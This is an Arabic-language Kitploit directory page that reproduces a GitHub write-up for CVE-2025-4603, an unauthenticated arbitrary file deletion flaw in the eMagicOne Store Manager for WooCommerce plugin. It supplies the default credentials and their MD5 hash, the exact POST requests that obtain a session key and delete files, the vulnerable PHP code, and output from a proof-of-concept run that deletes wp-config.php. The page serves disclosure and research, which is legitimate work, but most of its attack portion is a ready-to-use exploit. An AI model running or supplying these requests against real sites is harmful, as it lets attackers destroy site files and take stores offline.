Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-4603 — eMagicOne Store Manager for WooCommerce <= 1.2.5 - حذف ملفات عشوائي غير مصرح به | Kitploit
أدوات/GitHubGitHub/d0n601/cve-2025-4603
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقالمصادقة
GitHubd0n601/cve-2025-4603

CVE-2025-4603

eMagicOne Store Manager for WooCommerce <= 1.2.5 - حذف ملفات عشوائي غير مصرح به

عرض المستودع
11منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

مدير متجر eMagicOne لـ WooCommerce <= 1.2.5 - حذف ملفات عشوائي بدون مصادقة

يُعرّض إضافة مدير متجر eMagicOne لـ WooCommerce نقطة نهاية بروتوكول إدارة عن بعد (?connector=bridge) تسمح بعمليات حذف الملفات على الخادم. تعتمد آلية المصادقة على زوج افتراضي من بيانات الاعتماد (login=1, password=1) ونظام مفتاح جلسة. إذا لم يتم تغيير بيانات الاعتماد الافتراضية، يمكن للمهاجم المصادقة بسهولة، والحصول على مفتاح جلسة، وحذف ملفات عشوائية من جذر ووردبريس أو أي دليل يمكن الوصول إليه.

إعادة الإنتاج

يتم توفير إثبات مفهوم CVE-2025-4603.py لتوضيح قيام مهاجم بحذف wp-config.php.

root@kitploit:~
python3 CVE-2025-4603.py https://lab1.hacker --file wp-config.php
[*] Requesting session key...
[*] Raw response: {"response_code":20,"revision":11,"module_version":"1.2.5","session_key":"38933ee55aa61baf8bf4206494ec83c16c921980de6d5053f631172f0cad1cbc"}
[+] Got session key: 38933ee55aa61baf8bf4206494ec83c16c921980de6d5053f631172f0cad1cbc
[*] Attempting to delete file...
[*] Delete response: {"response_code":"20","message":"File was deleted from FTP Server successfully"}

التدفق القابل للاختراق

بيانات الاعتماد الافتراضية وحساب التجزئة

عند تفعيل الإضافة، يتم تعيين الثوابت التالية في smconnector.php:

root@kitploit:~
define( 'EMO_SMC_DEFAULT_LOGIN', '1' );
define( 'EMO_SMC_DEFAULT_PASSWORD', '1' );

التجزئة الافتراضية المستخدمة للمصادقة هي:

root@kitploit:~
'smconnector_hash'   => md5( EMO_SMC_DEFAULT_LOGIN . EMO_SMC_DEFAULT_PASSWORD ),

النتيجة: التجزئة الافتراضية هي md5('1' . '1') = c4ca4238a0b923820dcc509a6f75849b.

الحصول على مفتاح الجلسة

يتم الحصول على مفتاح جلسة عن طريق إرسال طلب POST إلى نقطة نهاية الجسر مع التجزئة ومهمة (مثل get_version):

root@kitploit:~
POST /?connector=bridge
Content-Type: application/x-www-form-urlencoded

hash=c4ca4238a0b923820dcc509a6f75849b&task=get_version

الكود ذو الصلة:
classes/class-emosmconnectorcommon.php (السطور ~441-525):

root@kitploit:~
private function check_auth() {
    if ( $this->shop_cart->isset_request_param( 'key' ) ) {
        // ... session key validation ...
    } elseif ( $this->shop_cart->isset_request_param( 'hash' ) ) {
        $hash = (string) $this->shop_cart->get_request_param( 'hash' );
        if ( ! $this->is_hash_valid( $hash ) ) {
            // ... error ...
        }
        $key = $this->generate_session_key( $hash );
        // ... return session key ...
    }
}

تخزين مفتاح الجلسة

يتم تخزين مفتاح الجلسة في جدول wp_smconnector_session_keys:

root@kitploit:~
private function generate_session_key( $hash ) {
    $key = hash( 'sha256', $hash . $timestamp );
    $sql = 'INSERT INTO `' . self::TABLE_SESSION_KEYS
        . "` (`session_key`, `date_added`, `last_activity`) VALUES ('" . $this->shop_cart->p_sql( $key ) . "', '"
        . $date . "', '" . $date . "')";
    $this->shop_cart->exec_sql( $sql );
    return $key;
}

حذف ملف عشوائي

باستخدام مفتاح جلسة صالح، يمكن للمهاجم حذف ملف باستخدام مهمة delete_file:

root@kitploit:~
POST /?connector=bridge&task=delete_file&key=<session_key>&path=wp-content.php

الكود ذو الصلة: classes/class-emosmconnectorcommon.php (السطور ~2167+):

root@kitploit:~
	/** Delete file */
	private function delete_file() {
		if ( ! $this->shop_cart->isset_request_param( 'path' ) ) {
			$this->generate_error( $this->br_errors['path_param_missing'] );
		}

		$filepath = (string) $this->shop_cart->get_request_param( 'path' );

		if ( empty( $filepath ) ) {
			$this->generate_error( $this->br_errors['path_param_empty'] );
		}

		$filepath = $this->shop_cart->get_shop_root_dir() . '/' . $filepath;

		if ( ! $this->shop_cart->file_exists( $filepath ) ) {
			$this->generate_error( $this->br_errors['delete_file_error'] );
		}

		$this->shop_cart->delete_file( $filepath );
	}

حذف الملف في class-emosmcwoocommerceoverrider.php (السطور ~380+):::

root@kitploit:~
public function delete_file($filepath) {
    if (!file_exists($filepath)) {
        die(json_encode(array(
            self::CODE_RESPONSE => self::ERROR_CODE_COMMON,
            self::KEY_MESSAGE => 'File is missing on server',
        )));
    }

    if (unlink($filepath)) {
        die(json_encode(array(
            self::CODE_RESPONSE => self::SUCCESSFUL,
            self::KEY_MESSAGE => 'File was deleted from FTP Server successfully',
        )));
    }
}

النتيجة: يتم حذف الملف من الخادم.

تنزيل الأداة